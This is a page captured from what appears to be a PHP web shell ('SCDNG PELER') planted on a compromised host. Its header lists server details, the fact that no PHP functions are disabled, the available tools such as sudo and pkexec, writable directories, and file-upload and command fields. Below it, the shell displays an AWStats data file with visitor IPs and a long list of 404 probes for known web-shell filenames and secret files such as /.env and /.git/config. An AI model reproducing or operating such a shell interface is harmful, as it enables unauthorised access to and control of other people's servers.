SCDNG PELER
Server IP : 162.241.126.129  /  Your IP : 13.59.58.68
Web Server : Apache
System : Linux 162-241-126-129.cprapid.com 4.18.0-477.27.2.el8_8.x86_64 #1 SMP Fri Sep 29 08:21:01 EDT 2023 x86_64
User : rvway5nu4 ( 1018)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/rvway5nu4/tmp/awstats/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/rvway5nu4/tmp/awstats//awstats122024.rvway.net.txt
AWSTATS DATA FILE 7.8 (build 20200416)
# If you remove this file, all statistics for date 202412 will be lost/reset.
# Last config file used to build this data file was /home/rvway5nu4/tmp/awstats/awstats.rvway.net.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2007                
POS_TIME 2690                
POS_VISITOR 9644                
POS_DAY 10426               
POS_DOMAIN 3355                
POS_LOGIN 3594                
POS_ROBOT 3749                
POS_WORMS 4006                
POS_EMAILSENDER 4137                
POS_EMAILRECEIVER 4280                
POS_SESSION 10745               
POS_SIDER 10903               
POS_FILETYPES 4415                
POS_DOWNLOADS 4517                
POS_OS 4590                
POS_BROWSER 4723                
POS_SCREENSIZE 4941                
POS_UNKNOWNREFERER 5015                
POS_UNKNOWNREFERERBROWSER 5243                
POS_ORIGIN 5363                
POS_SEREFERRALS 5497                
POS_PAGEREFS 5641                
POS_SEARCHWORDS 5789                
POS_KEYWORDS 5941                
POS_MISC 2353                
POS_ERRORS 6000                
POS_CLUSTER 3450                
POS_SIDER_404 6105                
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20241227051950 100 19196 10997250137343
FirstTime 20241216063903
LastTime 20241227045009
LastUpdate 20241227070348 100 0 100 0 0
TotalVisits 105                 
TotalUnique 17                  
MonthHostsKnown 0                   
MonthHostsUnknown 17                  
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
AddToFavourites 0 10 0
QuickTimeSupport 0 0 0
TotalMisc 0 0 0
WindowsMediaPlayerSupport 0 0 0
RealPlayerSupport 0 0 0
DirectorSupport 0 0 0
JavascriptDisabled 0 0 0
PDFSupport 0 0 0
JavaEnabled 0 0 0
FlashSupport 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 0 0 0 19 26 5620
1 22 22 1408 57 67 7961
2 0 0 0 60 77 16501
3 0 0 0 303 314 66314
4 22 22 1408 30 41 6872
5 0 0 0 27 30 2140
6 19 19 6598 324 335 455703523
7 22 22 1408 22 25 3210
8 2 2 128 41 49 7490
9 0 0 0 58 76 15338
10 22 22 1408 53 81 10272
11 0 0 0 95 112 23600
12 0 0 0 10 15 3322
13 22 22 1408 36 45 7276
14 0 0 0 24 31 5734
15 0 0 0 48 51 4280
16 22 22 1408 50 61 6634
17 0 0 0 25 33 4933
18 0 0 0 17 37 7918
19 22 22 1408 47 55 5350
20 0 0 0 27 34 7476
21 0 0 0 26 50 9184
22 22 22 1408 99 108 15856
23 0 0 0 593 596 124205
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 2
us 195 195 17816
zz 2 2 174
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 3
Go\-http\-client/ 8 303778920 20241216064025 0
Googlebot/ 6 151891860 20241216064630 0
no_user_agent 2 1600 20241216064019 0
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 2
Unknown 190 12390 0 0
html 7 5600 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 1
/rvway.zip 5 0 455663580
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 5
win10 3 3
win7 1 1
linux 1 1
androidmarshmallow 2 2
Unknown 190 190
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 8
chrome52.0.2733.98 2 2
chrome106.0.0.0 1 1
mozilla 10 10
chrome79.0.3945.79 1 1
chrome117.0.5938.132 1 1
chrome83.0.4103.61 1 1
Unknown 180 180
chrome125.0.6422.60 1 1
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 2
Mozilla/5.0_(compatible;_Let's_Encrypt_validation_server;__https://www.letsencrypt.org) 20241216063906
Cpanel-HTTP-Client/1.0 20241227045009
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 1
Cpanel-HTTP-Client/1.0 20241227045009
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 197 197
From1 0 0
From2 0 0
From3 0 0
From4 0 0
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 0
END_SEREFERRALS

# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 0
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 0
END_SEARCHWORDS

# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 0
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 2
404 203 2368
302 2120 394121
END_ERRORS

# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 170
/.git/config 2 -
/block-bindings.php 1 -
/bypass.php7 1 -
/.well-known/pki-validation/about.php 5 -
/v2/_catalog 2 -
/embed.php 1 -
/bypass.php 1 -
/content.php 1 -
/1index.php 1 -
/about.php 1 -
/access.php 1 -
/24.php 1 -
/extractable-loader-head.php 1 -
/ae.php 1 -
/class-walker-category-dropdown-class.php 1 -
/edit.php 1 -
/class-wp-cmd.php 1 -
/colors.php 1 -
/IDhrIlrLb.php 1 -
/aleXus.php 1 -
/disagraep.php 1 -
/error.php 1 -
/1.php7 1 -
/classmap.php 1 -
/hyIPpxWDQ.php 1 -
/hkvkjguw.php 1 -
/ewywe1dg.php 1 -
/Auth.php 1 -
/fw.php 1 -
/Njima.php 1 -
/cache-base.php 1 -
/4price.php 1 -
/alumni_reg.php 1 -
/NFXxUAA.php 1 -
/.vscode/sftp.json 2 -
/1p.php 1 -
/getid3-core.php 1 -
/OK.php 1 -
/cnzcsfwm.php 1 -
/global.php 1 -
/headerg.php 1 -
/backup.php 1 -
/12.php 1 -
/gebase.php69 1 -
/depotcv.php 1 -
/22.php 1 -
/GOD.php 1 -
/admin.php1 1 -
/.env 2 -
/disagraeosc.php 1 -
/class-IXR-base64-view.php 1 -
/DxHhVcy2bmJ.php 1 -
/e69ovfsr.php 1 -
/debug/default/view 2 -
/eNtnKM.php 1 -
/hello.php 1 -
/dropdown.php 1 -
/f35.php 1 -
/delpaths.php 1 -
/.well-known/pki-validation/xmrlpc.php 4 -
/info.php 2 -
/favicon.php 1 -
/class-walker-comment-beta.php 1 -
/csv.php 1 -
/cron.php 1 -
/cJLGqzB.php 1 -
/blog.php7 1 -
/.well-known/pki-validation/plugins.php 1 -
/browse.php 1 -
/classsmtps.php 1 -
/alfanew.php7 1 -
/5173e.php 1 -
/alfanew.php 1 -
/hoot.php 1 -
/server 2 -
/fucixwya.php 1 -
/M1.php 1 -
/contact_tpl.php 1 -
/aaa.php 1 -
/al.php 1 -
/admin.php7 1 -
/fxcexgle.php 1 -
/123.php 1 -
/addslashes.php 1 -
/functions.php 1 -
/class-IXR-encryption.php 1 -
/_all_dbs 2 -
/xleet.php 2 -
/Casper.php 1 -
/amaxx.php 1 -
/83064.php 1 -
/autoload_classmap.php 1 -
/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application 2 -
/disagreed.php 1 -
/disagraeed.php 1 -
/cgi-bin/ 3 -
/css.php 1 -
/c.php 1 -
/ab1ux1ft.php 1 -
/config.json 2 -
/aQzODIgoBr.php 1 -
/bak.php 1 -
/.well-known/pki-validation/install.php 1 -
/about.php7 1 -
/.well-known/pki-validation/class_api.php 1 -
/NewFile.php 1 -
/.well-known/pki-validation/atomlib.php 2 -
/login.action 2 -
/disagrsod.php 1 -
/class-php 1 -
/fied.php 1 -
/c99.php 1 -
/blog.php 1 -
/asasx.php 1 -
/chosen.php 1 -
/content.php888 1 -
/server-status 2 -
/feed-rss2-queue.php 1 -
/cadastro-2.php 1 -
/catuploadcsv.php 1 -
/.well-known/pki-validation/cloud.php 4 -
/.well-known/pki-validation/class.api.php 2 -
/inc.php 1 -
/contentloader1.php 1 -
/.well-known/pki-validation/mariju.php 1 -
/add_actualites.php 1 -
/fox.php 1 -
/flower.php 3 -
/dxc.php 1 -
/as.php 1 -
/BIBIL0DAY.php 1 -
/go.php 1 -
/OthioNDwMEK.php 1 -
/gecko-new.php 1 -
/Alfa.php 1 -
/feeds.php 1 -
/about.php525 1 -
/iR7SzrsOUEP.php 1 -
/Js.php 1 -
/eq2hbpgs.php 1 -
/help.php 1 -
/cookie.php 1 -
/cljntmcz.php 1 -
/alfa-rex.php 1 -
/exif.php 1 -
/beence.php 1 -
/s/932313e2632313e2134323e2236313/_/ 2 -
/cloud.php 1 -
/gebase.php 1 -
/aksinet.php 1 -
/admin.php 1 -
/files.php 1 -
/BIBIL_0DAY.php 1 -
/haiterus.php 1 -
/config.php7 1 -
/conf_upload.php 1 -
/telescope/requests 2 -
/alfa-rex.php7 1 -
/f.php 1 -
/about 2 -
/fi2.php 1 -
/curl.php 1 -
/colour.php 1 -
/MYK4TJEfFvO.php 1 -
/bihnmimh.php 1 -
/ggfi.php 1 -
/ds.php 1 -
/essexec.php 1 -
/404.php 1 -
/.DS_Store 2 -
END_SIDER_404

# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]
# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished
# The 25 first Hits must be first (order not required for others)
BEGIN_VISITOR 17
162.241.126.129 180 180 11520 20241227045009 20241227045009 /.well-known/acme-challenge/B21CJPSGJM2Y4727B56XTS4XC8GZ5XW4
205.169.39.69 2 2 1600 20241216064040
16.171.25.214 1 1 87 20241216063905
3.144.84.173 1 1 87 20241216063905
64.226.65.160 1 1 800 20241216064019
54.202.231.254 1 1 87 20241216063905
13.212.128.110 1 1 87 20241216063905
13.60.224.73 1 1 87 20241216063905
34.122.147.229 1 1 800 20241216064022
205.169.39.14 1 1 800 20241216064221
205.169.39.37 1 1 800 20241216064644
23.178.112.211 1 1 87 20241216063905
54.169.194.156 1 1 87 20241216063906
23.178.112.216 1 1 87 20241216063905
54.244.146.185 1 1 87 20241216063905
13.59.17.134 1 1 87 20241216063905
164.92.244.132 1 1 800 20241216064020
END_VISITOR

# Date - Pages - Hits - Bandwidth - Visits
BEGIN_DAY 12
20241216 33 33 7494 23
20241217 16 16 1024 8
20241218 16 16 1024 8
20241219 16 16 1024 8
20241220 16 16 1024 8
20241221 16 16 1024 8
20241222 16 16 1024 8
20241223 16 16 1024 8
20241224 16 16 1024 8
20241225 16 16 1024 8
20241226 16 16 1024 8
20241227 4 4 256 2
END_DAY

# Session range - Number of visits
BEGIN_SESSION 2
0s-30s 103
30mn-1h 1
END_SESSION

# URL - Pages - Bandwidth - Entry - Exit
# The 25 first Pages must be first (order not required for others)
BEGIN_SIDER 183
/ 7 5600 6 6
/.well-known/acme-challenge/UopBRZHDwNXQQpoOOzuewJTytg7jQTEPp3pvYqvNCec 5 435 5 5
/.well-known/acme-challenge/Lu2uIYLY46hjCij0O0TO-UsZWb32Q4tKqN1xLKJTYIk 5 435 5 5
/.well-known/acme-challenge/4KBKAYIXNX-AK_5LYVWT455NGSZH-RZI 1 64 1 0
/.well-known/acme-challenge/8UG0AMWDW-EBC8A68V1ANGYEL4VSIFAY 1 64 1 0
/.well-known/acme-challenge/CO11ZELJHU_BFUYDUY_PJLD797TGARJS 1 64 0 1
/.well-known/acme-challenge/X3Q3ZTJY_XLMI7IJ6_B-5ZVXQEBJ4E5Z 1 64 0 1
/.well-known/acme-challenge/UYW1R2XWR_-0FCF1NVI-W2LT_RU9VZ1B 1 64 1 0
/.well-known/acme-challenge/9CE6EACTN7__15D_7SZ3NFE6-YV8QBU3 1 64 0 1
/.well-known/acme-challenge/4N-4LPWND9T8_QJ1OK93IR97J89YUJHH 1 64 1 0
/.well-known/acme-challenge/Q_WQA6D1LUJK26OVNQJO88JZ6JCN39BV 1 64 0 1
/.well-known/acme-challenge/RX4S3S9L-CTFVSMBNVN01G3VZJ93E3AA 1 64 0 0
/.well-known/acme-challenge/GRDU1XKYGDRL4X80UL2U_OAE7KEZZKSE 1 64 1 0
/.well-known/acme-challenge/HI_U-BL42RUSP0G-NJTE_F4KHE2C2L_6 1 64 0 1
/.well-known/acme-challenge/152GLP2ZCKMROGPPHNZFK1H19B8_CGTS 1 64 0 1
/.well-known/acme-challenge/PHLD2CJNK2QOYG5RZ1Y_9INUT_A26CL3 1 64 0 1
/.well-known/acme-challenge/V88FDMKEBR2WBFS1Y9679RRW71PP2NMR 1 64 0 1
/.well-known/acme-challenge/OT56LORXY9S6WX6-242JNLX7CGGR11XR 1 64 1 0
/.well-known/acme-challenge/BBO-9XROZEMV_ISSNV8TF8RYRPV5E-03 1 64 0 1
/.well-known/acme-challenge/DOH955M_19_F9CZ2GQME-PYKQG9NP4BU 1 64 1 0
/.well-known/acme-challenge/Q0PMRT6D1S-RKWGC97O9IB8MSU-028XH 1 64 0 1
/.well-known/acme-challenge/WR_SO1YGVK-2TS3-C_OGRE1FV5MP0GE9 1 64 0 1
/.well-known/acme-challenge/LX4MUCWXDN9D_Q01BOIDCVWVGB8H-I2W 1 64 0 1
/.well-known/acme-challenge/8_HMS--YI3NMGUHRFZTIU7SZ59U89G-M 1 64 1 0
/.well-known/acme-challenge/ESOPSO0L1832ZL5D02HNFWSJJH9989HU 1 64 1 0
/.well-known/acme-challenge/SWUZVC11965J8VPPPQQEJSCVSQOJMXDF 1 64 0 1
/.well-known/acme-challenge/YAX5AB8L6FNEF5XS14XUVVL_J8KW91LW 1 64 0 1
/.well-known/acme-challenge/V50YY6M4NZYZGXUL_Z5FTMJ1GCE135LX 1 64 0 1
/.well-known/acme-challenge/CIFANO8A5VAAT28YN-Z7KYJJFX9LD65G 1 64 1 0
/.well-known/acme-challenge/OPBKE9Y2D8C63H7M11ZYB-I1CE0D2-6X 1 64 1 0
/.well-known/acme-challenge/53_HS9QE-R3KNLVHSMA79Z9NSXLY12Y6 1 64 1 0
/.well-known/acme-challenge/ENTLD4JM30-KLBR0B_MHL0EY8UBZ57C8 1 64 0 1
/.well-known/acme-challenge/6E0O_CQ8AHD1NZOC7MY42ZF_ERIAG0R3 1 64 1 0
/.well-known/acme-challenge/4-TC3L1FC_89HDLDUYB2SPOCVHC3H3TV 1 64 1 0
/.well-known/acme-challenge/L2R1JZYVRQ0IDN40H86PQOXU_Z-ZYQE8 1 64 1 0
/.well-known/acme-challenge/KHSJ9Y_1RZPE1C9FARWL0-DCEOWIYYFU 1 64 0 1
/.well-known/acme-challenge/YJ6PB5-14R_A_8TF-ZDJ3B11FU51GLAO 1 64 0 1
/.well-known/acme-challenge/XIRJI2WFYKVVGSLL715BZ60Q0KAR9REJ 1 64 1 0
/.well-known/acme-challenge/FNRUTIDHAOHKLSCRNF0QFW9-DBXGRGDE 1 64 1 0
/.well-known/acme-challenge/L3YG97J14X72W05JLGMPA0JYDQND7ZZB 1 64 1 0
/.well-known/acme-challenge/BH46A5Z7ACU_K62JAOGWB2CT8J--1E6E 1 64 0 1
/.well-known/acme-challenge/LUKF_0_69MI0XEQ210_TY5CNO0VCN_ST 1 64 0 1
/.well-known/acme-challenge/0K-UNE37DIWKS2PJZCGZU8U5EKMU-ONI 1 64 0 1
/.well-known/acme-challenge/G14WQ59CXP6-RW538F8J7LXNJWH2IR11 1 64 0 1
/.well-known/acme-challenge/NW-FW6MYMOKK8RCW5YH_ZWEBBTER4WTM 1 64 1 0
/.well-known/acme-challenge/J-6LFNC4E6V6XCDCPYA5QN8QKW9PC0V8 1 64 0 1
/.well-known/acme-challenge/8R6D_C0VJ8IFLPB0I8VR879U_ODA1363 1 64 1 0
/.well-known/acme-challenge/CBBDWGJKJBQOQJN0F1ULH706I02IK-93 1 64 0 1
/.well-known/acme-challenge/-V9C_Q2FTOXX6H73AJMSO3CC-60O5JT4 1 64 1 0
/.well-known/acme-challenge/1MYBC_MMJC77HX6PJSAGZCG4XC5T4S53 1 64 1 0
/.well-known/acme-challenge/XQ0PN3_FGDWUSEE9EK-PT0FAF1JD6IMA 1 64 1 0
/.well-known/acme-challenge/CD8ULIYC3NU2R5RYCGSD4HAUNQ8GZKBQ 1 64 0 1
/.well-known/acme-challenge/_I15DF3_DL8X0Y_PJ69L3A9E5LBJ339M 1 64 1 0
/.well-known/acme-challenge/Q850EN9L0P9L6Q-UIB843N7DF3N-MXXW 1 64 1 0
/.well-known/acme-challenge/LYCP8S_GL_EIHETLMBBE9Y_NMS_BZ3Y0 1 64 0 1
/.well-known/acme-challenge/4X0I3Q0LNLYB4MPE1W3FQD5B7YEBO06- 1 64 0 1
/.well-known/acme-challenge/3B03NW0PDAOULLQO5NID80CG_IGW7L06 1 64 1 0
/.well-known/acme-challenge/ASU7ML_RAV4LNKZ-EOMUFH8EOJQ2PP0F 1 64 0 1
/.well-known/acme-challenge/FNHNIT2MLQ149YR-HL60W8P4H8__QDP4 1 64 1 0
/.well-known/acme-challenge/67KLG-CIEN6E92TRO4FGF4-GG0Z0UG9- 1 64 0 1
/.well-known/acme-challenge/5NQA3BAEEPJ9T5_59WU4J7N522OY-ULZ 1 64 1 0
/.well-known/acme-challenge/BMEWLJNCM5OVJ4Q5CVRB8LTFKP2KBNPR 1 64 1 0
/.well-known/acme-challenge/NUYOTV46J3N859F8UTC-Q5IYXE140ZK1 1 64 0 1
/.well-known/acme-challenge/41RPBF1Y4YIXSMASTE5FGTMO2TN7L7VY 1 64 1 0
/.well-known/acme-challenge/8766PETG_I98GHJ758B1UGGTAY1_RL_8 1 64 0 1
/.well-known/acme-challenge/XFRNZXT7V01H4CE0OJRKSA3RNVDWNRKY 1 64 0 1
/.well-known/acme-challenge/53ZCHQZOWVOHYJB_GRV07HI97NAYG9QX 1 64 0 1
/.well-known/acme-challenge/THK73C3DI8XMP7RU-AO0XB_0E-4IWU-5 1 64 1 0
/.well-known/acme-challenge/SK1NC7DH1Y1OC__U8GSLLZPCPU2JDCLY 1 64 1 0
/.well-known/acme-challenge/CJ_N5YS_7B9G-5CAQ_PMTAAD4S08XLPL 1 64 1 0
/.well-known/acme-challenge/8XSGZZMT02KISXRH8DB6-DSR_PDDG5EQ 1 64 0 1
/.well-known/acme-challenge/7_PA52F_6KLB6PYTA-Y149OUWOAZNON8 1 64 1 0
/.well-known/acme-challenge/0HHPMPVTVDMF0CZMR4ZIEJWGJ8XJR4Z2 1 64 0 1
/.well-known/acme-challenge/MFIQ06NEUKBQV3V7YO2GK8K1TC31N4UJ 1 64 0 1
/.well-known/acme-challenge/KG8_C7H-T2Q-ONCF9DBTTJBKYJECOW7Y 1 64 1 0
/.well-known/acme-challenge/1HXZ3BH1SX1Q-GBAOL6P6W59NNYI8RQB 1 64 0 1
/.well-known/acme-challenge/M56T7Q474XVDFHZY8W3EA4AM6OWF9H71 1 64 1 0
/.well-known/acme-challenge/40NQD6WROZRX0MM3D15GOOG4Y6KA1Y2W 1 64 0 1
/.well-known/acme-challenge/9A3YY0OD00Z5R7KOYJH0A0JSXG7W5_P7 1 64 0 1
/.well-known/acme-challenge/XN79GQBFOLXH7Z23QIXQR9YSMN-7121L 1 64 0 1
/.well-known/acme-challenge/20_H510DTR2WVQB47Z7XVPS0YG3ZS0_C 1 64 1 0
/.well-known/acme-challenge/8W8WGU9RY3JACD855I6UU4AU7-_F3OJO 1 64 0 1
/.well-known/acme-challenge/KJ7GM8OVHUFDLO2FZFM_PTT41DBRVNTV 1 64 1 0
/.well-known/acme-challenge/D2I5KSN8HE5Q0B8_XWBY_9_RK2VC_VBV 1 64 1 0
/.well-known/acme-challenge/XLEAJT4JTNZBKB75N8CO_S0VZGP2TR7Z 1 64 1 0
/.well-known/acme-challenge/XN3ZHSUORDBZOJLG_O4XZCQA0HFHETXQ 1 64 0 1
/.well-known/acme-challenge/VH7BQ56YGJM5O02A0-6Q54GW657Z33W_ 1 64 1 0
/.well-known/acme-challenge/UBGFCHM572DKKJS0JS-33H-XRKIGZQK1 1 64 0 1
/.well-known/acme-challenge/P8CEJ73526BD1FR7EEG6VEI5DA783W4V 1 64 1 0
/.well-known/acme-challenge/M50C6WP7OONG-T4BK4GBG3SOPKESFL7G 1 64 0 1
/.well-known/acme-challenge/4MTGG3186DAZCC8D-VOTWDQT_8_JZK-G 1 64 1 0
/.well-known/acme-challenge/5UM2ZMP5RKWA7GUCPX3MNAC300WMTYHI 1 64 1 0
/.well-known/acme-challenge/QYSG_N55V9RRB-LM0P0M-RS6EYGSK-90 1 64 1 0
/.well-known/acme-challenge/JSXOBGJRIIQM8PFNZVO_CWTU1OKEJUYR 1 64 1 0
/.well-known/acme-challenge/7V6T7K990KEBFA47H28WCD0-M29TO798 1 64 1 0
/.well-known/acme-challenge/AFB1QIP137OCE2L6JU19QAJ0FSEKDR44 1 64 1 0
/.well-known/acme-challenge/049ACVWHZUVV3U57Z0_D9BZB-SYBOHJ2 1 64 0 1
/.well-known/acme-challenge/CNATK2X39IF3JJCF2J_EA7WFH9XQYQ-9 1 64 1 0
/.well-known/acme-challenge/VH1E9UEOZGZH49BPN440ZWFV3PZX_OAH 1 64 1 0
/.well-known/acme-challenge/OBOM5PSOQVDX3RG0XUEW249NBCN2MIX3 1 64 0 1
/.well-known/acme-challenge/VL483NV5AC_BW1513NVKJ64XYQ1544_5 1 64 1 0
/.well-known/acme-challenge/-EK2HW21XZP7QIAYT3QFEAFCS-USX3GY 1 64 0 1
/.well-known/acme-challenge/O_LK2U6CLEEJYM_49Y5891RMRPXU3FJZ 1 64 0 1
/.well-known/acme-challenge/ZBGRF51REPJOER1UHSGZRA5YNRVKVAKC 1 64 1 0
/.well-known/acme-challenge/B21CJPSGJM2Y4727B56XTS4XC8GZ5XW4 1 64 0 0
/.well-known/acme-challenge/ZEXUW1FL4ZTWFMNG_I9Q0TMOJ657UTG2 1 64 1 0
/.well-known/acme-challenge/NACP3ZBTIYAI4_YSUUIB49H7-HAXXRDJ 1 64 0 1
/.well-known/acme-challenge/WRWD1SFQYXMN0EED-D6VWKJG-V1NB7XA 1 64 1 0
/.well-known/acme-challenge/O6EBS5URVFBYG1HSL9CNRNXKO731EVEY 1 64 1 0
/.well-known/acme-challenge/M__6C-363E14_SKMARWWDKXK369D_S7P 1 64 1 0
/.well-known/acme-challenge/SX6PTGAR6BZ5M69P0Z9WBW_AIZQCAFIE 1 64 1 0
/.well-known/acme-challenge/HU1QWR--2-3VB8TN5UYLM-O1CI7C4GZ1 1 64 1 0
/.well-known/acme-challenge/GW55SJ9U-NPMAIVHU62PE-OLBDI1FNXE 1 64 0 1
/.well-known/acme-challenge/63DU278-_F47JD3OOT8EWN6VW2BANX0D 1 64 1 0
/.well-known/acme-challenge/4XFLNXSGVI7N9TPIK6H09D8NV0D1MCAE 1 64 0 1
/.well-known/acme-challenge/9OHMHK55IN9797PO9Y6A3UJV75BRUQVU 1 64 0 1
/.well-known/acme-challenge/15N5P8WC_KE5IG2LP9-S9HSP38AL6F34 1 64 0 1
/.well-known/acme-challenge/WEARDJIWXEF6S2UBPY-VTD_QY-YA6MB2 1 64 0 1
/.well-known/acme-challenge/15-AC3KW-S75WLBNA0OW2ABCK-EDP2NB 1 64 0 1
/.well-known/acme-challenge/9A0GKVBIOLO3MHZ18V33B_8XQ4492AL_ 1 64 0 1
/.well-known/acme-challenge/EZAM2OU1CSYH42467ZI9DILB_EB7EHAG 1 64 0 1
/.well-known/acme-challenge/5W4BPPTXXPXTBL-LRN6WYJF7LHW441M3 1 64 0 1
/.well-known/acme-challenge/L0J2G9J4SS_V0CC-JTKADNKADJKX4J-Q 1 64 1 0
/.well-known/acme-challenge/HG57C28G3__2MN6FGK87-MTV8AQZF711 1 64 1 0
/.well-known/acme-challenge/ZJCKVKP3_TFCH_ZH4-2S_JRF9HL4C4FL 1 64 1 0
/.well-known/acme-challenge/HE79UUMYOYVRM7RK5SPLFYDTUCLCU38R 1 64 0 1
/.well-known/acme-challenge/Q5QI399-6RJGL922CNUJ975N18PIEW6O 1 64 1 0
/.well-known/acme-challenge/06T1JTX__A9KDHN9LBAMJ0GUBWVA3EGK 1 64 0 1
/.well-known/acme-challenge/ZQQW5NKCF1AQTLYXKN0R46V50DVPR54K 1 64 1 0
/.well-known/acme-challenge/FEMPEWE0ELH7AVI-40RJJSY87XVE430J 1 64 1 0
/.well-known/acme-challenge/GAGP6-IMFIEY00BOC4KV6_P8P0UMFU8D 1 64 1 0
/.well-known/acme-challenge/FSFZO47HBPKBJUYIQGJWF7HU1W3LKXZB 1 64 1 0
/.well-known/acme-challenge/NRCQ-_AAED_UEUWFPBSDVSNX0RLV9GWP 1 64 0 1
/.well-known/acme-challenge/UVZNBX-Q-UNNLEC0BWQZWRY607VX_LVH 1 64 1 0
/.well-known/acme-challenge/6TOJXF4BWWYJ25EJ1W14U71UGAJ5CN7I 1 64 0 1
/.well-known/acme-challenge/ANPUVE32D6S0M_M4N261H3QQFICGVWYB 1 64 0 1
/.well-known/acme-challenge/WERX28BFMG3V6U77I4S8I5ZTFIIXY9NQ 1 64 1 0
/.well-known/acme-challenge/RT-RZTYL-GWHF4OSK9Y1DA2U2IQBKDZS 1 64 0 1
